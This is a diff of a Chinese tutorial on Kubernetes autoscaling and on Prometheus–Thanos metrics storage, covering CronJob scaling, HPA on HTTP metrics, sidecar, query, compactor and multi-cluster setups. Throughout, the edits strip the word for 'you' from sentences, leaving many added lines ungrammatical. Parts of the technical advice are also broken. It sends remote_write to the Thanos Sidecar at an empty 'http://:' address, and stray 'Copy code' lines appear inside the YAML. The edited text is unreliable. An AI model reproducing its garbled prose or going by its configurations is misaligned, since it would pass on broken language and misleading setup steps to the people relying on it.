> 6.创建Dockerfile ```makefile @@ -382,7 +382,7 @@ docker tag my-controller:latest yourusername/my-controller:latest docker push yourusername/my-controller:latest ``` -> 在 Kubernetes 中创建一个 Deployment 来运行你的控制器。 +> 在 Kubernetes 中创建一个 Deployment 来运行的控制器。 ```yaml apiVersion: apps/v1 @@ -414,7 +414,7 @@ kubectl apply -f deployment.yaml ###### CRON定时伸缩 在 Kubernetes 中，CronJob 是一种工作负载资源，它可以按照预定的时间表启动 Job。Job 是一种短暂的、一次性的任务，它会启动一个或多个 Pod 来执行任务，并在任务完成后停止。CronJob 的工作方式类似于 Unix 系统中的 crontab 文件，它可以按照 Cron 格式的时间表定期运行任务。 -CronJob 本质上是一个定时任务调度器，它按照预定的时间表（schedule）启动 Job。每个 Job 对应一个或多个 Pod，这些 Pod 会执行指定的任务，然后退出。当任务完成或失败后，Job 会保持一个记录，你可以查看这个记录来了解任务的执行情况。 +CronJob 本质上是一个定时任务调度器，它按照预定的时间表（schedule）启动 Job。每个 Job 对应一个或多个 Pod，这些 Pod 会执行指定的任务，然后退出。当任务完成或失败后，Job 会保持一个记录，可以查看这个记录来了解任务的执行情况。 CronJob 在 Kubernetes 中扮演的角色主要有以下几点： @@ -422,9 +422,9 @@ CronJob 在 Kubernetes 中扮演的角色主要有以下几点： 周期性任务：CronJob 也可以用来执行周期性任务，例如每5分钟检查系统的健康状态、每30分钟清理临时文件等。 -自动伸缩：CronJob 还可以用来实现基于时间的自动伸缩。例如，你可以创建一个 CronJob，在每天的高峰时段自动增加 Pod 的数量，然后在低峰时段自动减少 Pod 的数量。 +自动伸缩：CronJob 还可以用来实现基于时间的自动伸缩。例如，可以创建一个 CronJob，在每天的高峰时段自动增加 Pod 的数量，然后在低峰时段自动减少 Pod 的数量。 -工作流管理：CronJob 可以用来管理复杂的工作流。例如，你可以创建一个 CronJob，它按照预定的时间表启动一个 Job，这个 Job 会启动一个 Pod，这个 Pod 会依次执行一系列的任务 +工作流管理：CronJob 可以用来管理复杂的工作流。例如，可以创建一个 CronJob，它按照预定的时间表启动一个 Job，这个 Job 会启动一个 Pod，这个 Pod 会依次执行一系列的任务 以下是一个 CronJob 的示例，它每分钟打印当前时间和一条问候消息： ```yaml @@ -451,11 +451,11 @@ spec: ``` 在这个示例中，CronJob 的名称是 "hello"，它的时间表是 "* * * * *"，这意味着它会在每分钟的开始时启动一个 Job。Job 的任务是启动一个 Pod，Pod 中的容器运行 busybox:1.28 镜像，并执行一个命令来打印当前时间和一条问候消息。 -如果你想在特定的时间（例如每天的特定时间）自动调整 Pod 的数量，你可以创建一个类似的 CronJob。这个 CronJob 的 Job 会启动一个 Pod，这个 Pod 的任务是调整其他 Deployment 或 StatefulSet 的 Pod 数量。你可以通过修改 Pod 的命令来实现这个功能。例如，你可以使用 kubectl 命令来调整 Deployment 的 Pod 数量： +如果想在特定的时间（例如每天的特定时间）自动调整 Pod 的数量，可以创建一个类似的 CronJob。这个 CronJob 的 Job 会启动一个 Pod，这个 Pod 的任务是调整其他 Deployment 或 StatefulSet 的 Pod 数量。可以通过修改 Pod 的命令来实现这个功能。例如，可以使用 kubectl 命令来调整 Deployment 的 Pod 数量： ```shell kubectl scale deployment my-deployment --replicas=3 ``` -你可以将这个命令放入到 Pod 的命令中，这样当 Pod 启动时，它就会执行这个命令，从而调整 Deployment 的 Pod 数量。 +可以将这个命令放入到 Pod 的命令中，这样当 Pod 启动时，它就会执行这个命令，从而调整 Deployment 的 Pod 数量。 > CRON 定时伸缩是指在特定的时间（如每天的特定时间）自动调整 Pod 的数量。这可以通过 Kubernetes 的 CronJob 资源来实现。以下是实现步骤：创建一个 CronJob，该 Job 在特定的时间启动一个 Pod。这个 Pod 的任务是调整其他 Deployment 或 StatefulSet 的 Pod 数量。 @@ -484,22 +484,22 @@ kubectl scale deployment my-deployment --replicas=3 HTTP 请求的伸缩是指根据 HTTP 请求的数量或速率来动态调整 Pod 的数量。这通常需要使用到 Kubernetes 的 Ingress 控制器和 HorizontalPodAutoscaler。以下是实现步骤： -> 1.配置你的 Ingress 控制器以收集 HTTP 请求的指标 +> 1.配置的 Ingress 控制器以收集 HTTP 请求的指标 -在 Kubernetes 中，Ingress 控制器可以用来路由外部的 HTTP/HTTPS 流量到集群内的服务。为了收集 HTTP 请求的指标，你需要配置你的 Ingress 控制器以启用 metrics。这通常涉及到在 Ingress 控制器的配置中启用 Prometheus metrics。具体的配置方法取决于你使用的 Ingress 控制器的类型。例如，如果你使用的是 NGINX Ingress 控制器，你可以在配置中设置 `enable-vts-status: true` 来启用 metrics。 +在 Kubernetes 中，Ingress 控制器可以用来路由外部的 HTTP/HTTPS 流量到集群内的服务。为了收集 HTTP 请求的指标，需要配置的 Ingress 控制器以启用 metrics。这通常涉及到在 Ingress 控制器的配置中启用 Prometheus metrics。具体的配置方法取决于使用的 Ingress 控制器的类型。例如，如果使用的是 NGINX Ingress 控制器，可以在配置中设置 `enable-vts-status: true` 来启用 metrics。 >2.创建一个 HorizontalPodAutoscaler 对象，该对象使用 HTTP 请求的指标作为伸缩的依据。 -在 Kubernetes 中，Horizontal Pod Autoscaler（HPA）是用来自动调整工作负载的 Pod 数量的。HPA 会根据你指定的指标来决定是否需要增加或减少 Pod 的数量。这些指标可以是内置的，例如 Pod 的 CPU 利用率，也可以是自定义的，例如 HTTP 请求的数量。 +在 Kubernetes 中，Horizontal Pod Autoscaler（HPA）是用来自动调整工作负载的 Pod 数量的。HPA 会根据指定的指标来决定是否需要增加或减少 Pod 的数量。这些指标可以是内置的，例如 Pod 的 CPU 利用率，也可以是自定义的，例如 HTTP 请求的数量。 -当你的 Ingress 控制器开始收集 HTTP 请求的指标后，这些指标就可以被 HPA 使用。你可以在 HPA 的配置中指定你想要使用的指标，然后 HPA 会根据这些指标的值来决定是否需要调整 Pod 的数量。 +当的 Ingress 控制器开始收集 HTTP 请求的指标后，这些指标就可以被 HPA 使用。可以在 HPA 的配置中指定想要使用的指标，然后 HPA 会根据这些指标的值来决定是否需要调整 Pod 的数量。 -例如，你可以创建一个 HPA 对象，该对象使用每个 Pod 的 HTTP 请求速率作为伸缩的依据。你可以在 HPA 的配置中设置一个目标值，例如每个 Pod 的 HTTP 请求速率为 10。然后 HPA 会监视这个指标，如果实际的 HTTP 请求速率超过了这个目标值，HPA 就会增加 Pod 的数量，如果实际的 HTTP 请求速率低于这个目标值，HPA 就会减少 Pod 的数量。 +例如，可以创建一个 HPA 对象，该对象使用每个 Pod 的 HTTP 请求速率作为伸缩的依据。可以在 HPA 的配置中设置一个目标值，例如每个 Pod 的 HTTP 请求速率为 10。然后 HPA 会监视这个指标，如果实际的 HTTP 请求速率超过了这个目标值，HPA 就会增加 Pod 的数量，如果实际的 HTTP 请求速率低于这个目标值，HPA 就会减少 Pod 的数量。 -创建 HPA 对象的目的是为了使你的应用可以自动地根据负载进行伸缩。这样可以使你的应用在负载增加时可以自动增加资源来处理更多的请求，而在负载减少时可以自动减少资源以节省成本。 +创建 HPA 对象的目的是为了使的应用可以自动地根据负载进行伸缩。这样可以使的应用在负载增加时可以自动增加资源来处理更多的请求，而在负载减少时可以自动减少资源以节省成本。 -一旦你的 Ingress 控制器开始收集 HTTP 请求的指标，你就可以创建一个 HPA 对象来使用这些指标。在 HPA 的 YAML 配置文件中，你可以指定一个 metrics 字段来定义你想要使用的指标。例如，你可以定义一个 type: Pods 的指标，并设置 target: http_requests 和 averageValue: 10，这样 HPA 就会尝试保持每个 Pod 的 HTTP 请求速率为 10。 +一旦的 Ingress 控制器开始收集 HTTP 请求的指标，就可以创建一个 HPA 对象来使用这些指标。在 HPA 的 YAML 配置文件中，可以指定一个 metrics 字段来定义想要使用的指标。例如，可以定义一个 type: Pods 的指标，并设置 target: http_requests 和 averageValue: 10，这样 HPA 就会尝试保持每个 Pod 的 HTTP 请求速率为 10。 以下是一个 HPA 的 YAML 配置示例： @@ -532,11 +532,11 @@ spec: kubectl apply -f my-hpa.yaml ``` -一旦你的 HPA 对象被创建，Kubernetes 就会开始监视与 HPA 关联的 Deployment 的指标。在上面的例子中，Kubernetes 会监视名为 my-deployment 的 Deployment 的每个 Pod 的 HTTP 请求速率。 +一旦的 HPA 对象被创建，Kubernetes 就会开始监视与 HPA 关联的 Deployment 的指标。在上面的例子中，Kubernetes 会监视名为 my-deployment 的 Deployment 的每个 Pod 的 HTTP 请求速率。 -如果实际的 HTTP 请求速率超过了你在 HPA 定义中设置的目标值（在你的例子中，目标值是每个 Pod 的 HTTP 请求速率为 10），那么 Kubernetes 就会增加 my-deployment 的 Pod 数量，直到 HTTP 请求速率下降到目标值以下。相反，如果实际的 HTTP 请求速率低于目标值，那么 Kubernetes 就会减少 my-deployment 的 Pod 数量，直到 HTTP 请求速率增加到目标值以上。 +如果实际的 HTTP 请求速率超过了在 HPA 定义中设置的目标值（在的例子中，目标值是每个 Pod 的 HTTP 请求速率为 10），那么 Kubernetes 就会增加 my-deployment 的 Pod 数量，直到 HTTP 请求速率下降到目标值以下。相反，如果实际的 HTTP 请求速率低于目标值，那么 Kubernetes 就会减少 my-deployment 的 Pod 数量，直到 HTTP 请求速率增加到目标值以上。 -你可以使用 kubectl get hpa 命令来查看你的 HPA 对象的状态，如下所示： +可以使用 kubectl get hpa 命令来查看的 HPA 对象的状态，如下所示： ```shell kubectl get hpa my-hpa @@ -549,15 +549,15 @@ kubectl get hpa my-hpa ### Prometheus+ Thanos 实现大规模指标存储 -> 1.安装 Prometheus 和 Thanos：首先，你需要在你的 Kubernetes 集群中安装 Prometheus 和 Thanos。你可以使用 Helm、Operator 或者直接使用 YAML 文件来安装。具体的安装方法可以参考 Thanos 官方文档。 +> 1.安装 Prometheus 和 Thanos：首先，需要在的 Kubernetes 集群中安装 Prometheus 和 Thanos。可以使用 Helm、Operator 或者直接使用 YAML 文件来安装。具体的安装方法可以参考 Thanos 官方文档。 -> 2.配置 Prometheus：安装完 Prometheus 和 Thanos 后，你需要配置 Prometheus 以将指标数据发送到 Thanos。这通常涉及到修改 Prometheus 的配置文件，以添加一个新的远程写入端点，该端点指向 Thanos Sidecar。 +> 2.配置 Prometheus：安装完 Prometheus 和 Thanos 后，需要配置 Prometheus 以将指标数据发送到 Thanos。这通常涉及到修改 Prometheus 的配置文件，以添加一个新的远程写入端点，该端点指向 Thanos Sidecar。 -> 3.配置 Thanos：然后，你需要配置 Thanos 以从 Prometheus 接收指标数据，并将这些数据存储在一个支持的对象存储服务中，如 Amazon S3、Google Cloud Storage 或者 MinIO 等。 +> 3.配置 Thanos：然后，需要配置 Thanos 以从 Prometheus 接收指标数据，并将这些数据存储在一个支持的对象存储服务中，如 Amazon S3、Google Cloud Storage 或者 MinIO 等。 -> 4.配置 Thanos Query：Thanos Query 组件提供了一个全局的查询视图，它可以从所有 Thanos Store 和 Prometheus 实例中查询数据。你需要配置 Thanos Query 以知道哪些 Store 和 Prometheus 实例可用。 +> 4.配置 Thanos Query：Thanos Query 组件提供了一个全局的查询视图，它可以从所有 Thanos Store 和 Prometheus 实例中查询数据。需要配置 Thanos Query 以知道哪些 Store 和 Prometheus 实例可用。 -> 5.验证和监控：最后，你应该验证你的配置是否正确，并设置适当的监控和告警，以确保你的 Prometheus 和 Thanos 集群正常运行。 +> 5.验证和监控：最后，应该验证的配置是否正确，并设置适当的监控和告警，以确保的 Prometheus 和 Thanos 集群正常运行。 > 参考：https://thanos.io/tip/thanos/getting-started.md/ @@ -569,11 +569,11 @@ kubectl get hpa my-hpa ##### Thanos与 Prometheus集成 Thanos Sidecar 是一个与 Prometheus 实例一起部署的组件，它可以选择性地将指标上传到对象存储，并允许 Queriers 使用常见的、高效的 StoreAPI 查询 Prometheus 数据。具体来说，它在 Prometheus 的 remote-read API 之上实现了 Thanos 的 Store API，这使得 Queriers 可以将 Prometheus 服务器视为另一个时间序列数据源，而无需直接与其 API 交互。 -如果你选择使用 Thanos sidecar 也将数据上传到对象存储，你需要满足以下条件： +如果选择使用 Thanos sidecar 也将数据上传到对象存储，需要满足以下条件： - 必须指定对象存储（使用 --objstore.* 标志） - 它只上传未压缩的 Prometheus 块。对于压缩块，参见 上传压缩块。 -- 必须将 --storage.tsdb.min-block-duration 和 --storage.tsdb.max-block-duration 设置为相等的值，以禁用本地压缩，以便使用 Thanos sidecar 上传，否则如果 sidecar 只暴露 StoreAPI 并且你的保留期正常，则保留本地压缩。建议使用默认的 2h。提到的参数设置为相等的值会禁用 Prometheus 的内部压缩，这是为了避免在 Thanos compactor 做其工作时上传的数据被破坏，这对于数据一致性至关重要，如果你计划使用 Thanos compactor，不应忽视这一点。 -- 为了将 Thanos 与 Prometheus 集成，你需要在 Prometheus 中启用一些标志，包括 --web.enable-admin-api 和 --web.enable-lifecycle。然后，你可以在 Thanos sidecar 中设置 --tsdb.path、--prometheus.url 和 --objstore.config-file 标志，以连接到 Prometheus 和你的对象存储。 +- 必须将 --storage.tsdb.min-block-duration 和 --storage.tsdb.max-block-duration 设置为相等的值，以禁用本地压缩，以便使用 Thanos sidecar 上传，否则如果 sidecar 只暴露 StoreAPI 并且的保留期正常，则保留本地压缩。建议使用默认的 2h。提到的参数设置为相等的值会禁用 Prometheus 的内部压缩，这是为了避免在 Thanos compactor 做其工作时上传的数据被破坏，这对于数据一致性至关重要，如果计划使用 Thanos compactor，不应忽视这一点。 +- 为了将 Thanos 与 Prometheus 集成，需要在 Prometheus 中启用一些标志，包括 --web.enable-admin-api 和 --web.enable-lifecycle。然后，可以在 Thanos sidecar 中设置 --tsdb.path、--prometheus.url 和 --objstore.config-file 标志，以连接到 Prometheus 和的对象存储。 以下是如何将 Prometheus 和 Thanos 集成的基本步骤： @@ -599,20 +599,20 @@ Thanos Query 是用户面向的组件，用于查询 Prometheus 和 Thanos Store 当查询旧的数据时，Thanos Query 将从 Thanos Store 中检索数据。对于最近的数据，它将直接查询 Prometheus。 对象存储配置: -你需要为 Thanos 配置一个对象存储，例如 AWS S3 或 GCS。这通常通过一个配置文件完成，该文件定义了如何访问和认证到你选择的对象存储。 +需要为 Thanos 配置一个对象存储，例如 AWS S3 或 GCS。这通常通过一个配置文件完成，该文件定义了如何访问和认证到选择的对象存储。 其他可选的 Thanos 组件: Thanos Compactor：减少对象存储中的数据并压缩旧的时间序列数据块。 Thanos Ruler：为基于长期数据的警报和规则评估提供支持。 ##### 利用S3与 作为Thanos 后端存储服务 -对于使用 S3 作为 Thanos 后端存储服务，你需要在 Thanos 的配置中指定 S3 的详细信息。这通常在 Thanos 的启动参数或配置文件中完成，其中包括 S3 的访问密钥、秘密密钥、端点和存储桶名称。具体的配置可能会根据你使用的 S3 兼容服务（如 Amazon S3、MinIO、Ceph 等）有所不同。 +对于使用 S3 作为 Thanos 后端存储服务，需要在 Thanos 的配置中指定 S3 的详细信息。这通常在 Thanos 的启动参数或配置文件中完成，其中包括 S3 的访问密钥、秘密密钥、端点和存储桶名称。具体的配置可能会根据使用的 S3 兼容服务（如 Amazon S3、MinIO、Ceph 等）有所不同。 ### Prometheus实现多租户监控 -在 Kubernetes 中实现 Prometheus 的多租户监控，你可以使用 Thanos 的多租户支持。Thanos 通过使用外部标签来支持多租户。对于这样的用例，推荐使用基于 Thanos Sidecar 的方法，配合分层的 Thanos Queriers。 +在 Kubernetes 中实现 Prometheus 的多租户监控，可以使用 Thanos 的多租户支持。Thanos 通过使用外部标签来支持多租户。对于这样的用例，推荐使用基于 Thanos Sidecar 的方法，配合分层的 Thanos Queriers。 -> 1.配置外部标签：在 Prometheus 的配置中，你可以为每个租户定义一个唯一的外部标签。这个标签将被添加到该租户的所有指标中，从而使你能够区分来自不同租户的指标。 +> 1.配置外部标签：在 Prometheus 的配置中，可以为每个租户定义一个唯一的外部标签。这个标签将被添加到该租户的所有指标中，从而使能够区分来自不同租户的指标。 ```yaml global: external_labels: @@ -620,7 +620,7 @@ global: ``` -> 配置 Thanos Sidecar：Thanos Sidecar 需要被配置为读取 Prometheus 的数据，并将数据上传到对象存储。你需要为每个 Prometheus 实例配置一个 Thanos Sidecar。 +> 配置 Thanos Sidecar：Thanos Sidecar 需要被配置为读取 Prometheus 的数据，并将数据上传到对象存储。需要为每个 Prometheus 实例配置一个 Thanos Sidecar。 ```yaml containers: - args: @@ -630,7 +630,7 @@ containers: - --objstore.config=$(OBJSTORE_CONFIG) ``` -> 配置 Thanos Querier：Thanos Querier 需要被配置为从对象存储中读取数据，并提供一个查询接口。你可以为每个租户配置一个 Thanos Querier，这样每个租户只能查询到自己的数据。例如： +> 配置 Thanos Querier：Thanos Querier 需要被配置为从对象存储中读取数据，并提供一个查询接口。可以为每个租户配置一个 Thanos Querier，这样每个租户只能查询到自己的数据。例如： ```yaml containers: - args: @@ -641,7 +641,7 @@ containers: ``` -> 配置 Thanos Store：Thanos Store 需要被配置为从对象存储中读取数据，并提供一个查询接口。你需要为每个租户配置一个 Thanos Store，这样每个租户只能查询到自己的数据。 +> 配置 Thanos Store：Thanos Store 需要被配置为从对象存储中读取数据，并提供一个查询接口。需要为每个租户配置一个 Thanos Store，这样每个租户只能查询到自己的数据。 ```yaml containers: @@ -651,7 +651,7 @@ containers: - --selector.relabel-config=$(SELECTOR_RELABEL_CONFIG) ``` -> 配置 Thanos Compactor：Thanos Compactor 需要被配置为从对象存储中读取数据，并进行压缩和清理。你需要为每个租户配置一个 Thanos Compactor，这样每个租户只能查询到自己的数据。 +> 配置 Thanos Compactor：Thanos Compactor 需要被配置为从对象存储中读取数据，并进行压缩和清理。需要为每个租户配置一个 Thanos Compactor，这样每个租户只能查询到自己的数据。 ```yaml containers: @@ -661,26 +661,26 @@ containers: - --data-dir=/var/thanos/compact - --selector.relabel-config=$(SELECTOR_RELABEL_CONFIG) ``` -把以上添加到你的 Kubernetes 配置 +把以上添加到的 Kubernetes 配置 ##### 利用 Thanos实现多集群监控 -对于使用 Thanos 实现多集群监控，你可以使用 Thanos Query 组件来查询多个 Prometheus 和 Thanos Store 的数据。你需要为每个集群配置一个 Thanos Query，然后在全局的 Thanos Query 中配置这些 Thanos Query 的地址。 +对于使用 Thanos 实现多集群监控，可以使用 Thanos Query 组件来查询多个 Prometheus 和 Thanos Store 的数据。需要为每个集群配置一个 Thanos Query，然后在全局的 Thanos Query 中配置这些 Thanos Query 的地址。 > 1.设置 Thanos Sidecar：在每个 Prometheus 实例旁边运行 Thanos Sidecar，Sidecar 将 Prometheus 的数据上传到对象存储中。 -> 2.设置 Thanos Store：Thanos Store 作为一个网关，将查询转换为远程对象存储的操作。你需要为每个集群配置一个 Thanos Store。 +> 2.设置 Thanos Store：Thanos Store 作为一个网关，将查询转换为远程对象存储的操作。需要为每个集群配置一个 Thanos Store。 -> 3.设置 Thanos Query：Thanos Query 是 Thanos 的主要组件，它是你发送 PromQL 查询的中心点。Thanos Query 可以将查询分发到所有的 "stores"。这些 "stores" 可能是任何其他提供指标的 Thanos 组件。Thanos Query 还负责去重，如果同样的指标来自不同的 stores 或 Prometheus，Thanos Query 可以去重这些指标。 +> 3.设置 Thanos Query：Thanos Query 是 Thanos 的主要组件，它是发送 PromQL 查询的中心点。Thanos Query 可以将查询分发到所有的 "stores"。这些 "stores" 可能是任何其他提供指标的 Thanos 组件。Thanos Query 还负责去重，如果同样的指标来自不同的 stores 或 Prometheus，Thanos Query 可以去重这些指标。 > 4.设置 Thanos Query Frontend：Thanos Query Frontend 作为 Thanos Query 的前端，它的目标是将大型查询分解为多个较小的查询，并缓存查询结果。 -> 5.配置 Grafana：最后，你可以在 Grafana 中配置 Thanos Query Frontend 作为数据源，这样你就可以在 Grafana 中查询和可视化你的指标了。 +> 5.配置 Grafana：最后，可以在 Grafana 中配置 Thanos Query Frontend 作为数据源，这样就可以在 Grafana 中查询和可视化的指标了。 以下是在 Kubernetes 中实现 Prometheus 的多租户监控和使用 Thanos 实现多集群监控的步骤： -> 1.在每个集群上安装 Prometheus Operator,首先，你需要在每个集群上安装 Prometheus Operator。这可以通过 Helm chart 来完成。例如，你可以使用以下命令安装 Prometheus Operator，并为其配置 Thanos sidecar： +> 1.在每个集群上安装 Prometheus Operator,首先，需要在每个集群上安装 Prometheus Operator。这可以通过 Helm chart 来完成。例如，可以使用以下命令安装 Prometheus Operator，并为其配置 Thanos sidecar： ```yaml helm repo add bitnami https://charts.bitnami.com/bitnami @@ -695,14 +695,14 @@ helm install prometheus-operator \ ``` 在这个命令中，`prometheus.thanos.create=true` 会创建一个 Thanos sidecar 容器，`prometheus.thanos.service.type=LoadBalancer` 会使 sidecar 服务在公共负载均衡器 IP 地址上可用。`prometheus.externalLabels.cluster=\"data-producer-0\"` 会为每个 Prometheus 实例定义一个或多个唯一的标签，这些标签在 Thanos 中用于区分不同的存储或数据源。 -> 2.在你的 Kubernetes 集群上安装和配置 Thanos接下来，你需要在 "data aggregator" 集群上安装 Thanos，并将其与 Alertmanager 和 MinIO 集成作为对象存储。你可以创建一个 values.yaml 文件，然后使用以下命令安装 Thanos： +> 2.在的 Kubernetes 集群上安装和配置 Thanos接下来，需要在 "data aggregator" 集群上安装 Thanos，并将其与 Alertmanager 和 MinIO 集成作为对象存储。可以创建一个 values.yaml 文件，然后使用以下命令安装 Thanos： ```yaml helm install thanos bitnami/thanos \ --values values.yaml ``` -> 3.在同一个 “data aggregator” 集群上安装 Grafana:使用以下命令安装 Grafana，其中 GRAFANA-PASSWORD 是你为 Grafana 应用设置的密码： +> 3.在同一个 “data aggregator” 集群上安装 Grafana:使用以下命令安装 Grafana，其中 GRAFANA-PASSWORD 是为 Grafana 应用设置的密码： ```yaml helm install grafana bitnami/grafana \ @@ -711,9 +711,9 @@ helm install grafana bitnami/grafana \ ``` -> 4.配置 Grafana 使用 Thanos 作为数据源在 Grafana 的仪表板中，点击 “Add data source” 按钮。在 “Choose data source type” 页面上，选择 “Prometheus”。在 “Settings” 页面上，将 Prometheus 服务器的 URL 设置为 http://NAME:PORT，其中 NAME 是你在步骤 2 中获取的 Thanos 服务的 DNS 名称，PORT 是相应的服务端口。保留所有其他值为默认值。点击 “Save & Test” 保存并测试配置。如果一切配置正确，你应该会看到一个成功消息。 +> 4.配置 Grafana 使用 Thanos 作为数据源在 Grafana 的仪表板中，点击 “Add data source” 按钮。在 “Choose data source type” 页面上，选择 “Prometheus”。在 “Settings” 页面上，将 Prometheus 服务器的 URL 设置为 http://NAME:PORT，其中 NAME 是在步骤 2 中获取的 Thanos 服务的 DNS 名称，PORT 是相应的服务端口。保留所有其他值为默认值。点击 “Save & Test” 保存并测试配置。如果一切配置正确，应该会看到一个成功消息。 -> 测试多集群监控系统:在此阶段，你可以开始在你的 “data producer” 集群中部署应用，并在 Thanos 和 Grafana 中收集指标。例如，你可以在每个 “data producer” 集群中部署一个 MariaDB 复制集群，并在 Grafana 中显示每个 MariaDB 服务生成的指标。 +> 测试多集群监控系统:在此阶段，可以开始在的 “data producer” 集群中部署应用，并在 Thanos 和 Grafana 中收集指标。例如，可以在每个 “data producer” 集群中部署一个 MariaDB 复制集群，并在 Grafana 中显示每个 MariaDB 服务生成的指标。 参考链接：https://tanzu.vmware.com/developer/guides/prometheus-multicluster-monitoring/ @@ -744,7 +744,7 @@ query-frontend-go-client-config.yaml: | max_idle_conns: 500 ``` -> 2.指标降采样：你并不需要保留原始分辨率的指标。当你查询数据时，你对特定时间范围内的总体视图和趋势感兴趣。使用 Thanos Compactor 对数据进行降采样和压缩。以下是 Zapier 使用的一些设置： +> 2.指标降采样：并不需要保留原始分辨率的指标。当查询数据时，对特定时间范围内的总体视图和趋势感兴趣。使用 Thanos Compactor 对数据进行降采样和压缩。以下是 Zapier 使用的一些设置： ```yaml retentionResolutionRaw: 90d retentionResolution5m: 1y @@ -756,10 +756,10 @@ block-sync-concurrency: 60 ``` -> 3.保持指标良好：无论你的数据缓存或降采样多少，过多的高基数指标都会杀死你的性能。确保只存储重要的指标，并丢弃不重要的指标。 +> 3.保持指标良好：无论的数据缓存或降采样多少，过多的高基数指标都会杀死的性能。确保只存储重要的指标，并丢弃不重要的指标。 -> 4.分片你的长期存储：如果你的数据量太大，只用一组 Thanos Store 服务来扫描每个 TB 的指标是很困难的。解决方案类似于数据库。当一个表太大时，只需对其进行分片！Zapier 就是这样做的，他们有三个分片组的 Thanos Store，它们观察和服务 S3 存储桶的不同分片。 +> 4.分片的长期存储：如果的数据量太大，只用一组 Thanos Store 服务来扫描每个 TB 的指标是很困难的。解决方案类似于数据库。当一个表太大时，只需对其进行分片！Zapier 就是这样做的，他们有三个分片组的 Thanos Store，它们观察和服务 S3 存储桶的不同分片。 > 5.扩展和高可用性：虽然我们已经谈了很多关于性能的问题，但扩展性和可用性往往更重要。我们如何扩展 Prometheus？我们可以扩展副本，然后坐下来放松吗？不幸的是，不完全是这样。Prometheus 的设计目标是简单并可靠地提供其主要功能。扩展和高可用性并不是开箱即用的。 @@ -777,9 +777,9 @@ Prometheus 是一个开源的系统监控和警报工具包，最初由 SoundClo ##### HA部署 -> HA 部署：为了实现高可用性，你可以运行多个 Prometheus 服务器实例，这些实例独立地抓取和存储数据。如果一个实例出现故障，其他实例可以继续提供服务。你可以使用负载均衡器来分发查询请求到这些 Prometheus 服务器实例。 +> HA 部署：为了实现高可用性，可以运行多个 Prometheus 服务器实例，这些实例独立地抓取和存储数据。如果一个实例出现故障，其他实例可以继续提供服务。可以使用负载均衡器来分发查询请求到这些 Prometheus 服务器实例。 -例如，你可以使用 Kubernetes 的 Deployment 和 Service 来部署和管理你的 Prometheus 服务器实例。以下是一个简单的例子： +例如，可以使用 Kubernetes 的 Deployment 和 Service 来部署和管理的 Prometheus 服务器实例。以下是一个简单的例子： ```yaml Copy code @@ -821,17 +821,17 @@ spec: 在 Prometheus 中配置远程存储，例如 Thanos，可以参考以下步骤： -> 1.安装 Thanos：首先，你需要在你的环境中安装 Thanos。你可以从 Thanos 的 GitHub 仓库下载最新的发布版本。 +> 1.安装 Thanos：首先，需要在的环境中安装 Thanos。可以从 Thanos 的 GitHub 仓库下载最新的发布版本。 -> 2.配置 Prometheus：在你的 Prometheus 配置文件中，你需要添加一个新的远程写入端点，指向 Thanos Sidecar。这可以通过在 Prometheus 的配置文件中添加以下内容来完成： +> 2.配置 Prometheus：在的 Prometheus 配置文件中，需要添加一个新的远程写入端点，指向 Thanos Sidecar。这可以通过在 Prometheus 的配置文件中添加以下内容来完成： ```yaml remote_write: - url: "http://:/api/v1/receive" ``` -在这里，: 是你的 Thanos Sidecar 的地址和端口。 +在这里，: 是的 Thanos Sidecar 的地址和端口。 -> 3.配置 Thanos Sidecar：Thanos Sidecar 需要被配置为读取 Prometheus 的数据，并将数据上传到对象存储。你可以在 Thanos Sidecar 的配置文件中指定你的对象存储的详细信息。例如，如果你使用 Amazon S3 作为你的对象存储，你的 Thanos Sidecar 配置可能看起来像这样： +> 3.配置 Thanos Sidecar：Thanos Sidecar 需要被配置为读取 Prometheus 的数据，并将数据上传到对象存储。可以在 Thanos Sidecar 的配置文件中指定的对象存储的详细信息。例如，如果使用 Amazon S3 作为的对象存储，的 Thanos Sidecar 配置可能看起来像这样： ```yaml @@ -844,14 +844,14 @@ config: ``` -> 4.启动 Thanos Sidecar：最后，你需要启动 Thanos Sidecar，并确保它可以正确连接到你的 Prometheus 和对象存储。 +> 4.启动 Thanos Sidecar：最后，需要启动 Thanos Sidecar，并确保它可以正确连接到的 Prometheus 和对象存储。 ##### 联邦集群 > 联邦集群：Prometheus 支持联邦集群，即一个 Prometheus 服务器可以抓取另一个 Prometheus 服务器的数据。这可以用于聚合多个 Prometheus 服务器的数据，或者将数据从一个 Prometheus 服务器迁移到另一个服务器。 -例如，你可以在 Prometheus 的配置文件中添加一个 scrape_config 来抓取另一个 Prometheus 服务器的数据： +例如，可以在 Prometheus 的配置文件中添加一个 scrape_config 来抓取另一个 Prometheus 服务器的数据： ```yaml Copy code @@ -870,7 +870,7 @@ scrape_configs: - 'source-prometheus-2:9090' ``` -以上就是 Prometheus 的高可用部署方式的一些基本概念和步骤。在实际操作中，你可能需要根据你的具体需求和环境来调整这些配置。 +以上就是 Prometheus 的高可用部署方式的一些基本概念和步骤。在实际操作中，可能需要根据的具体需求和环境来调整这些配置。 # 总结 @@ -878,7 +878,7 @@ scrape_configs: 以下是从部署 Prometheus 集群到使用 Thanos 持久存储的完整步骤和实例代码： -> 1.部署 Prometheus：首先，你需要在你的 Kubernetes 集群中部署 Prometheus。这可以通过使用 Helm chart、Operator 或者直接使用 Kubernetes manifest 来完成。以下是一个简单的 Prometheus 部署的 YAML 文件示例： +> 1.部署 Prometheus：首先，需要在的 Kubernetes 集群中部署 Prometheus。这可以通过使用 Helm chart、Operator 或者直接使用 Kubernetes manifest 来完成。以下是一个简单的 Prometheus 部署的 YAML 文件示例： ```yaml apiVersion: apps/v1 kind: Deployment @@ -906,7 +906,7 @@ spec: ``` -> 2.部署 Thanos Sidecar：Thanos Sidecar 需要与 Prometheus 在同一 Pod 中运行。你需要修改 Prometheus 的部署以包含 Thanos Sidecar。以下是一个包含 Thanos Sidecar 的 Prometheus 部署的 YAML 文件示例： +> 2.部署 Thanos Sidecar：Thanos Sidecar 需要与 Prometheus 在同一 Pod 中运行。需要修改 Prometheus 的部署以包含 Thanos Sidecar。以下是一个包含 Thanos Sidecar 的 Prometheus 部署的 YAML 文件示例： ```yaml apiVersion: apps/v1 @@ -994,7 +994,7 @@ spec: - "--store=thanos-sidecar:19090" ``` -服务发现：Prometheus 提供了多种服务发现机制，包括静态配置、DNS 查询、文件系统观察等。你需要根据你的环境和需求选择合适的服务发现机制。例如，如果你的服务都注册到了一个 DNS 服务器，你可以在 Prometheus 的配置文件中配置 DNS 服务发现： +服务发现：Prometheus 提供了多种服务发现机制，包括静态配置、DNS 